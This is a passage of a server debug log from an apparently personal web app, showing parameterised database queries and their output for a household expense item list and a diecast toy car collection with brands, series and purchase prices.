  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-12T13:31:02.913Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-12T13:31:02.914Z server-connect:app Executing action step identify
2026-02-12T13:31:02.914Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:02.914Z server-connect:output identity: 1
2026-02-12T13:31:02.914Z server-connect:app Executing action step restrict
2026-02-12T13:31:02.914Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:02.915Z server-connect:output restrict: undefined
2026-02-12T13:31:02.915Z server-connect:app Executing action step paged
2026-02-12T13:31:02.915Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T13:31:02.917Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-12T13:31:02.918Z server-connect:output restrict: undefined
2026-02-12T13:31:02.918Z server-connect:app Executing action step select
2026-02-12T13:31:02.918Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:02.920Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-12T13:31:02.924Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-12T13:31:02.924Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-12T13:31:02.925Z server-connect:app Executing action step identify
2026-02-12T13:31:02.925Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:02.925Z server-connect:output identity: 1
2026-02-12T13:31:02.925Z server-connect:app Executing action step restrict
2026-02-12T13:31:02.925Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:02.926Z server-connect:output restrict: undefined
2026-02-12T13:31:02.926Z server-connect:app Executing action step select
2026-02-12T13:31:02.926Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
